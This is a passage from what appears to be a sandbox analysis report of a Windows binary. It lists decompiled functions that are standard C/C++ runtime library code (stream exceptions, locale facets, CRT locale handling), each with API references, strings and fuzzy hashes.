Instruction Fuzzy Hash: 5E41DE71D00225AFEF305675DC41BEB73B5AB81358F1444EBE649A2142EF3D8EC58B29

Uniqueness

Uniqueness Score: -1.00%

Function 00409B50 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00409B50(intOrPtr __ecx, signed int _a4, signed char _a8) {
				char _v44;
				char _v72;
				char _v112;
				char _v140;
				char _v180;
				char _v208;
				intOrPtr _v212;
				intOrPtr _t35;

				_v212 = __ecx;
				 *(_v212 + 8) = _a4 & 0x00000017;
				_t35 = _v212;
				if(( *(_v212 + 8) &  *(_t35 + 0xc)) != 0) {
					if((_a8 & 0x000000ff) == 0) {
						if(( *(_v212 + 8) &  *(_v212 + 0xc) & 0x00000004) == 0) {
							if(( *(_v212 + 8) &  *(_v212 + 0xc) & 0x00000002) == 0) {
								E00409450( &_v208, "ios_base::eofbit set");
								E00409D40( &_v180,  &_v208);
								E0040FB4B( &_v180, 0x427f84);
								return E00409490( &_v208);
							}
							E00409450( &_v140, "ios_base::failbit set");
							E00409D40( &_v112,  &_v140);
							E0040FB4B( &_v112, 0x427f84);
							return E00409490( &_v140);
						}
						E00409450( &_v72, "ios_base::badbit set");
						E00409D40( &_v44,  &_v72);
						E0040FB4B( &_v44, 0x427f84);
						return E00409490( &_v72);
					}
					return E0040FB4B(0, 0);
				}
				return _t35;
			}

0x00409b59
0x00409b6b
0x00409b74
0x00409b80
0x00409b8d
0x00409bb2
0x00409bfd
0x00409c44
0x00409c56
0x00409c67
0x00000000
0x00409c72
0x00409c0a
0x00409c19
0x00409c27
0x00000000
0x00409c32
0x00409bbc
0x00409bc8
0x00409bd6
0x00000000
0x00409bde
0x00000000
0x00409b93
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 00409B93

Strings

ios_base::eofbit set, xrefs: 00409C39
ios_base::failbit set, xrefs: 00409BFF
ios_base::badbit set, xrefs: 00409BB4

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 2efe580a280584c4ba07fa4449d06321ba083e9c76bab94228f323e1a504fffa
Instruction ID: b0451d76eb4d37ebafb6ad2f0dea741e50806fe8ca9986d2935d9bac5d857158
Opcode Fuzzy Hash: 2efe580a280584c4ba07fa4449d06321ba083e9c76bab94228f323e1a504fffa
Instruction Fuzzy Hash: 0C31F831A042189BD724EB51DC92FA9F375BB94304F5481EAE50A3B1D2DB38BE45CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D9 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E2D9(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t18;
				void* _t23;
				void* _t39;
				intOrPtr _t43;
				void* _t44;

				_t29 = __ebx;
				_push(0x14);
				E00411AA9(E00422096, __ebx, __edi, __esi);
				E0040E6B7(_t44 - 0x14, 0);
				_t43 =  *0x44cdfc; // 0x20c10d8
				 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
				 *((intOrPtr*)(_t44 - 0x10)) = _t43;
				_t17 = E0040ACE0( &M0044CF14);
				_t32 =  *((intOrPtr*)(_t44 + 8));
				_t18 = E0040AD50( *((intOrPtr*)(_t44 + 8)), _t17);
				_t41 = _t18;
				if(_t18 == 0) {
					if(_t43 == 0) {
						_push( *((intOrPtr*)(_t44 + 8)));
						_push(_t44 - 0x10);
						_t23 = E0040DEDA(__ebx, _t32, _t41, _t43, __eflags);
						__eflags = _t23 - 0xffffffff;
						if(_t23 == 0xffffffff) {
							E0040FCE9(_t44 - 0x20, "bad cast");
							E0040FB4B(_t44 - 0x20, 0x428134);
						}
						_t41 =  *((intOrPtr*)(_t44 - 0x10));
						 *0x44cdfc =  *((intOrPtr*)(_t44 - 0x10));
						E00409790( *((intOrPtr*)(_t44 - 0x10)));
						E0040EAA5(_t29, _t39, _t41, _t41);
					} else {
						_t41 = _t43;
					}
				}
				 *(_t44 - 4) =  *(_t44 - 4) | 0xffffffff;
				E0040E6DF(_t44 - 0x14);
				return E00411B48(_t41);
			}

0x0040e2d9
0x0040e2d9
0x0040e2e0
0x0040e2ea
0x0040e2ef
0x0040e2f5
0x0040e2fe
0x0040e301
0x0040e306
0x0040e30a
0x0040e30f
0x0040e313
0x0040e317
0x0040e31d
0x0040e323
0x0040e324
0x0040e32b
0x0040e32e
0x0040e338
0x0040e346
0x0040e346
0x0040e34b
0x0040e350
0x0040e356
0x0040e35c
0x0040e319
0x0040e319
0x0040e319
0x0040e317
0x0040e362
0x0040e369
0x0040e375

APIs

__EH_prolog3.LIBCMT ref: 0040E2E0
std::_Lockit::_Lockit.LIBCPMT ref: 0040E2EA
int.LIBCPMTD ref: 0040E301

Part of subcall function 0040ACE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040ACF6

ctype.LIBCPMT ref: 0040E324
std::bad_exception::bad_exception.LIBCMT ref: 0040E338
__CxxThrowException@8.LIBCMT ref: 0040E346
std::locale::facet::_Incref.LIBCPMTD ref: 0040E356
std::locale::facet::facet_Register.LIBCPMT ref: 0040E35C

Strings

bad cast, xrefs: 0040E330

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID: bad cast
API String ID: 1593823581-3145022300
Opcode ID: 2e072006d352de6ce222c2b93476d7dcb9adc54242bec483b5023c0e891102bb
Instruction ID: 222884fdff8b206e36d18891fd93ec398e1e7fb32f47d63a55c8c5a64e9fa122
Opcode Fuzzy Hash: 2e072006d352de6ce222c2b93476d7dcb9adc54242bec483b5023c0e891102bb
Instruction Fuzzy Hash: 5301A131A0121997CB00EBB2D842AAEB635BF90324F54493FE5117B2E1DF3CA915CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E4F8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E4F8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t18;
				void* _t23;
				void* _t39;
				intOrPtr _t43;
				void* _t44;

				_t29 = __ebx;
				_push(0x14);
				E00411AA9(E00422096, __ebx, __edi, __esi);
				E0040E6B7(_t44 - 0x14, 0);
				_t43 =  *0x44ce00; // 0x0
				 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
				 *((intOrPtr*)(_t44 - 0x10)) = _t43;
				_t17 = E0040ACE0(0x44ce98);
				_t32 =  *((intOrPtr*)(_t44 + 8));
				_t18 = E0040AD50( *((intOrPtr*)(_t44 + 8)), _t17);
				_t41 = _t18;
				if(_t18 == 0) {
					if(_t43 == 0) {
						_push( *((intOrPtr*)(_t44 + 8)));
						_push(_t44 - 0x10);
						_t23 = E0040E376(__ebx, _t32, _t41, _t43, __eflags);
						__eflags = _t23 - 0xffffffff;
						if(_t23 == 0xffffffff) {
							E0040FCE9(_t44 - 0x20, "bad cast");
							E0040FB4B(_t44 - 0x20, 0x428134);
						}
						_t41 =  *((intOrPtr*)(_t44 - 0x10));
						 *0x44ce00 =  *((intOrPtr*)(_t44 - 0x10));
						E00409790( *((intOrPtr*)(_t44 - 0x10)));
						E0040EAA5(_t29, _t39, _t41, _t41);
					} else {
						_t41 = _t43;
					}
				}
				 *(_t44 - 4) =  *(_t44 - 4) | 0xffffffff;
				E0040E6DF(_t44 - 0x14);
				return E00411B48(_t41);
			}

0x0040e4f8
0x0040e4f8
0x0040e4ff
0x0040e509
0x0040e50e
0x0040e514
0x0040e51d
0x0040e520
0x0040e525
0x0040e529
0x0040e52e
0x0040e532
0x0040e536
0x0040e53c
0x0040e542
0x0040e543
0x0040e54a
0x0040e54d
0x0040e557
0x0040e565
0x0040e565
0x0040e56a
0x0040e56f
0x0040e575
0x0040e57b
0x0040e538
0x0040e538
0x0040e538
0x0040e536
0x0040e581
0x0040e588
0x0040e594

APIs

__EH_prolog3.LIBCMT ref: 0040E4FF
std::_Lockit::_Lockit.LIBCPMT ref: 0040E509
int.LIBCPMTD ref: 0040E520

Part of subcall function 0040ACE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040ACF6

codecvt.LIBCPMT ref: 0040E543
std::bad_exception::bad_exception.LIBCMT ref: 0040E557
__CxxThrowException@8.LIBCMT ref: 0040E565
std::locale::facet::_Incref.LIBCPMTD ref: 0040E575
std::locale::facet::facet_Register.LIBCPMT ref: 0040E57B

Strings

bad cast, xrefs: 0040E54F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID: bad cast
API String ID: 1213051545-3145022300
Opcode ID: 44bd349ebc5def79a222924043dea2ed513b39470eeb1819c453b4cc792fbcf5
Instruction ID: 577b4080fcffec34c69ef9ac86c6f30cc436c545e801ef0545c293c7daeb15ae
Opcode Fuzzy Hash: 44bd349ebc5def79a222924043dea2ed513b39470eeb1819c453b4cc792fbcf5
Instruction Fuzzy Hash: 4201823190121497CB10EBA2D942AADB335AF90328F64093FE511772D1DB7C9912879C

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF90 Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040CF90(intOrPtr __ecx, void* __eflags, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char** _v24;
				char _v32;
				char _v40;
				char _v48;
				char _v56;
				char _v64;
				char _v72;
				char _v80;
				char _v88;
				intOrPtr _v92;
				void* __ebx;
				void* __edi;
				char _t71;
				void* _t78;
				void* _t116;
				intOrPtr _t120;

				_push(0xffffffff);
				_push(E00421F50);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t120;
				_push(__ecx);
				_push(_t78);
				_push(_t116);
				_v20 = _t120 - 0x48;
				_v92 = __ecx;
				_v24 = E0040D150(_a4);
				 *((intOrPtr*)(_v92 + 8)) = 0;
				 *((intOrPtr*)(_v92 + 0x10)) = 0;
				 *((intOrPtr*)(_v92 + 0x14)) = 0;
				_v8 = 0;
				_push(E0040CF60(_a4, _v92,  &_v32));
				_push(0);
				 *((intOrPtr*)(_v92 + 8)) = E0040D210(_t78, _v24[2], _t116, __eflags, _v24[2]);
				_push(E0040CF60(_a4,  &_v40,  &_v40));
				_push(0);
				 *((intOrPtr*)(_v92 + 0x10)) = E0040D210(_t78,  &_v40, _t116, __eflags, E0040D160(_a4));
				_push(E0040CF60(_a4,  &_v48,  &_v48));
				_push(0);
				 *((intOrPtr*)(_v92 + 0x14)) = E0040D210(_t78,  &_v48, _t116, __eflags, E0040D170(_a4));
				_v8 = 0xffffffff;
				_push(E0040CF60(_a4,  &_v56,  &_v56));
				_push(0);
				 *((char*)(_v92 + 0xc)) = E0040CCC0( *( *_v24) & 0x000000ff);
				_push(E0040CF60(_a4,  &_v64,  &_v64));
				_push(0);
				_t71 = E0040CCC0( *(_v24[1]) & 0x000000ff);
				 *((char*)(_v92 + 0xd)) = _t71;
				_t113 = _a8 & 0x000000ff;
				_t131 = _a8 & 0x000000ff;
				if((_a8 & 0x000000ff) != 0) {
					_push(E0040CF60(_a4, _t113,  &_v72));
					_push(0);
					 *((intOrPtr*)(_v92 + 8)) = E0040D210(_t78, _t113, _t116, _t131, 0x425048);
					_push(E0040CF60(_a4,  &_v80,  &_v80));
					_push(0);
					 *((char*)(_v92 + 0xc)) = E0040CCC0(0x2e);
					_push(E0040CF60(_a4,  &_v88,  &_v88));
					_push(0);
					_t71 = E0040CCC0(0x2c);
					 *((char*)(_v92 + 0xd)) = _t71;
				}
				 *[fs:0x0] = _v16;
				return _t71;
			}

0x0040cf93
0x0040cf95
0x0040cfa0
0x0040cfa1
0x0040cfa8
0x0040cfac
0x0040cfae
0x0040cfaf
0x0040cfb2
0x0040cfbd
0x0040cfc3
0x0040cfcd
0x0040cfd7
0x0040cfde
0x0040cff1
0x0040cff2
0x0040d006
0x0040d015
0x0040d016
0x0040d02c
0x0040d03b
0x0040d03c
0x0040d052
0x0040d075
0x0040d088
0x0040d089
0x0040d09f
0x0040d0ae
0x0040d0af
0x0040d0bb
0x0040d0c6
0x0040d0c9
0x0040d0cd
0x0040d0cf
0x0040d0dd
0x0040d0de
0x0040d0f0
0x0040d0ff
0x0040d100
0x0040d10f
0x0040d11e
0x0040d11f
0x0040d123
0x0040d12e
0x0040d12e
0x0040d134
0x0040d141

APIs

Part of subcall function 0040D150: _localeconv.LIBCMT ref: 0040D157

std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040CFEC

Part of subcall function 0040D210: _strlen.LIBCMT ref: 0040D21A

std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D010
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D036
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D083
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D0A9
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D0D8
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D0FA
std::_Locinfo::_Getcvt.LIBCPMTD ref: 0040D119

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: GetcvtLocinfo::_std::_$_localeconv_strlen
String ID:
API String ID: 3869368768-0
Opcode ID: 27e290555b1565734687a22dd4e864e9d23854eec3ac85ebc019f0d0df414e2a
Instruction ID: 1b1338e6aa8ec0f3414a24b0da58122fd61af39e6d898ef4a080722d2f5bbbea
Opcode Fuzzy Hash: 27e290555b1565734687a22dd4e864e9d23854eec3ac85ebc019f0d0df414e2a
Instruction Fuzzy Hash: 83516275A00248ABC704DFA5C891FAEBB75AF88704F10816DF4096F3C5DB356945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413FD5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00413FD5(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t24;
				void* _t25;
				intOrPtr _t26;
				void* _t31;
				void* _t33;
				void* _t35;
				void* _t41;
				void* _t43;
				void* _t44;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				intOrPtr _t56;
				void* _t57;
				signed int _t58;
				void* _t60;
				void* _t64;
				void* _t65;

				_t52 = __edx;
				_t24 = E00417040( *((intOrPtr*)(_t58 - 0x98)), 0x425048);
				_pop(_t46);
				if(_t24 == 0) {
					L9:
					_t56 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t31 = E00417040( *((intOrPtr*)(_t58 - 0xa8)), 0x425048);
					_pop(_t46);
					_t68 = _t31;
					if(_t31 == 0) {
						goto L9;
					} else {
						 *(_t58 - 0xb4) =  *(_t58 - 0xb4) & 0x00000000;
						_t33 = E00413BD1(_t46, _t68, _t58 - 0x94, 0x425048);
						_pop(_t51);
						_t69 = _t33;
						if(_t33 != 0) {
							L17:
							_t26 = 0;
							__eflags = 0;
						} else {
							_t35 = L0041C110(_t51, _t52, _t69, _t58 - 0x94, _t43, _t58 - 0x94);
							_t64 = _t60 + 0xc;
							_t70 = _t35;
							if(_t35 == 0) {
								goto L17;
							} else {
								_t46 =  *(_t58 - 0xac);
								 *( *(_t58 - 0xac)) =  *(_t43 + 4) & 0x0000ffff;
								E00413CFA(_t43,  *(_t58 - 0xac), _t52, _t53, 0x425048, _t70,  *((intOrPtr*)(_t58 - 0x98)), _t53, _t58 - 0x94);
								_t65 = _t64 + 0xc;
								if( *0x425048 == 0) {
									L6:
									_t39 =  *(_t58 - 0xb4);
								} else {
									_t39 =  *(_t58 - 0xb0);
									if( *(_t58 - 0xb0) >= _t53) {
										goto L6;
									}
								}
								_t41 = E0041BAA0(_t52,  *((intOrPtr*)(_t58 - 0xa8)), _t53, 0x425048, _t39 + 1);
								_t60 = _t65 + 0x10;
								_t73 = _t41;
								if(_t41 == 0) {
									goto L9;
								} else {
									_t56 = 0;
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									E0041162F(_t46, _t52, _t53, 0, _t73);
									_t60 = _t60 + 0x14;
								}
								L10:
								if( *((intOrPtr*)(_t58 - 0xa4)) != _t56) {
									E0040F1A0(_t43, _t53, _t56,  *((intOrPtr*)(_t58 - 0xa4)), _t43, 6);
									_t60 = _t60 + 0xc;
								}
								if( *((intOrPtr*)(_t58 - 0xa0)) != _t56) {
									E0040F1A0(_t43, _t53, _t56,  *((intOrPtr*)(_t58 - 0xa0)),  *(_t58 - 0xac), 4);
									_t60 = _t60 + 0xc;
								}
								_t25 = E004170C8(_t52,  *((intOrPtr*)(_t58 - 0x9c)),  *((intOrPtr*)(_t58 + 0x10)),  *((intOrPtr*)(_t58 - 0x98)));
								_t76 = _t25;
								if(_t25 != 0) {
									_push(_t56);
									_push(_t56);
									_push(_t56);
									_push(_t56);
									_push(_t56);
									E0041162F(_t46, _t52, _t53, _t56, _t76);
								}
								_t26 =  *((intOrPtr*)(_t58 - 0x98));
							}
						}
					}
				}
				_pop(_t54);
				_pop(_t57);
				_pop(_t44);
				return E00411A9A(_t26, _t44,  *(_t58 - 4) ^ _t58, _t52, _t54, _t57);
			}

0x00413fd5
0x00413fdc
0x00413fe2
0x00413fe5
0x0041409b
0x0041409b
0x0041409b
0x00000000
0x00413feb
0x00413ff2
0x00413ff8
0x00413ff9
0x00413ffb
0x00000000
0x00414001
0x00414001
0x00414010
0x00414016
0x00414017
0x00414019
0x00414104
0x00414104
0x00414104
0x0041401f
0x00414028
0x0041402d
0x00414030
0x00414032
0x00000000
0x00414038
0x0041403c
0x00414042
0x00414052
0x00414057
0x0041405d
0x00414069
0x00414069
0x0041405f
0x0041405f
0x00414067
0x00000000
0x00000000
0x00414067
0x0041407e
0x00414083
0x00414086
0x00414088
0x00000000
0x0041408a
0x0041408a
0x0041408c
0x0041408d
0x0041408e
0x0041408f
0x00414090
0x00414091
0x00414096
0x00414096
0x0041409d
0x004140a3
0x004140ae
0x004140b3
0x004140b3
0x004140bc
0x004140cc
0x004140d1
0x004140d1
0x004140e3
0x004140eb
0x004140ed
0x004140ef
0x004140f0
0x004140f1
0x004140f2
0x004140f3
0x004140f4
0x004140f9
0x004140fc
0x004140fc
0x00414032
0x00414019
0x00413ffb
0x00414109
0x0041410a
0x0041410d
0x00414114

APIs

___lc_strtolc.LIBCMT ref: 00414010

Part of subcall function 00413BD1: _memset.LIBCMT ref: 00413BE5

___lc_lctostr.LIBCMT ref: 00414052

Part of subcall function 00413CFA: _strcpy_s.LIBCMT ref: 00413D0B
Part of subcall function 00413CFA: __invoke_watson.LIBCMT ref: 00413D1E
Part of subcall function 00413CFA: __strcats.LIBCMT ref: 00413D3B
Part of subcall function 00413CFA: __strcats.LIBCMT ref: 00413D5D

__invoke_watson.LIBCMT ref: 00414091
_strcpy_s.LIBCMT ref: 004140E3
__invoke_watson.LIBCMT ref: 004140F4

Strings

HPB, xrefs: 0041406F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __invoke_watson$__strcats_strcpy_s$___lc_lctostr___lc_strtolc_memset
String ID: HPB
API String ID: 3089796425-2745268354
Opcode ID: b2aa7f4dbd5e24ee314b3a1c6b4ed99d15b40c38c08bec3af9a15ae75f2f07f7
Instruction ID: e3f372877de787d07d5cc1b6d44dbf64e299b53694e9ec3aec1ba5306bcc5054
Opcode Fuzzy Hash: b2aa7f4dbd5e24ee314b3a1c6b4ed99d15b40c38c08bec3af9a15ae75f2f07f7
Instruction Fuzzy Hash: 3D318971D00228AAEF315A62DC01BEB7B79DF45354F0400EBFA0DA5152EB398ED5CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CC00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v36;
				intOrPtr _v40;
				char _t27;

				E0040E6B7( &_v16, 0);
				_t27 =  *0x44cdec; // 0x0
				_v20 = _t27;
				_v12 = E0040ACE0(0x44cdf4);
				_v8 = E0040AD50(_a4, _v12);
				if(_v8 == 0) {
					if(_v20 == 0) {
						if(E0040CCD0( &_v20,  &_v20, _a4) != 0xffffffff) {
							_v8 = _v20;
							 *0x44cdec = _v20;
							_v24 = _v20;
							E00409790(_v24);
							E0040AD30(_v24);
						} else {
							E0040FCE9( &_v36, "bad cast");
							E0040FB4B( &_v36, 0x428134);
						}
					} else {
						_v8 = _v20;
					}
				}
				_v40 = _v8;
				E0040E6DF( &_v16);
				return _v40;
			}

0x0040cc0b
0x0040cc10
0x0040cc15
0x0040cc22
0x0040cc31
0x0040cc38
0x0040cc40
0x0040cc5d
0x0040cc7f
0x0040cc85
0x0040cc8e
0x0040cc94
0x0040cc9c
0x0040cc5f
0x0040cc67
0x0040cc75
0x0040cc75
0x0040cc42
0x0040cc45
0x0040cc45
0x0040cc40
0x0040cca4
0x0040ccaa
0x0040ccb5

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040CC0B
int.LIBCPMTD ref: 0040CC1D

Part of subcall function 0040ACE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040ACF6

Strings

bad cast, xrefs: 0040CC5F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: LockitLockit::_std::_
String ID: bad cast
API String ID: 3382485803-3145022300
Opcode ID: 04960f8ecbdb782ccafeeb910972fa8a290d4c3b9d3a70d2d56948440eadb789
Instruction ID: 4e2cfc1f0d3c693b3e139f32b29023f40b4d5768b314aba228197c754ef714da
Opcode Fuzzy Hash: 04960f8ecbdb782ccafeeb910972fa8a290d4c3b9d3a70d2d56948440eadb789
Instruction Fuzzy Hash: 22212974D04209DBDB04EFA5D9819EEB7B1BF48304F20867AE415B72D0DB385E00DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412CC1 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00412CC1(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x428770);
				E0041879C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0040F9BA(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00416B12(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00416B12(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E00416B12(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00416B12(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040FA5F(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00412DE7(_t48, _t53, _t55, _t57, _t61);
				return E004187E1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x00412cc1
0x00412cc1
0x00412cc1
0x00412cc3
0x00412cc8
0x00412ccd
0x00412ccf
0x00412cd2
0x00412cd5
0x00412cd8
0x00412cdf
0x00412cf0
0x00412cfe
0x00412d0c
0x00412d14
0x00412d22
0x00412d28
0x00412d2f
0x00412d32
0x00412d48
0x00412d4b
0x00412dc0
0x00412dc7
0x00412dce
0x00412ddb

APIs

__CreateFrameInfo.LIBCMT ref: 00412CE9

Part of subcall function 0040F9BA: __getptd.LIBCMT ref: 0040F9C8
Part of subcall function 0040F9BA: __getptd.LIBCMT ref: 0040F9D6

__getptd.LIBCMT ref: 00412CF3

Part of subcall function 00416B12: __getptd_noexit.LIBCMT ref: 00416B15
Part of subcall function 00416B12: __amsg_exit.LIBCMT ref: 00416B22

__getptd.LIBCMT ref: 00412D01
__getptd.LIBCMT ref: 00412D0F
__getptd.LIBCMT ref: 00412D1A
_CallCatchBlock2.LIBCMT ref: 00412D40

Part of subcall function 0040FA5F: __CallSettingFrame@12.LIBCMT ref: 0040FAAB

Part of subcall function 00412DE7: __getptd.LIBCMT ref: 00412DF6
Part of subcall function 00412DE7: __getptd.LIBCMT ref: 00412E04

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

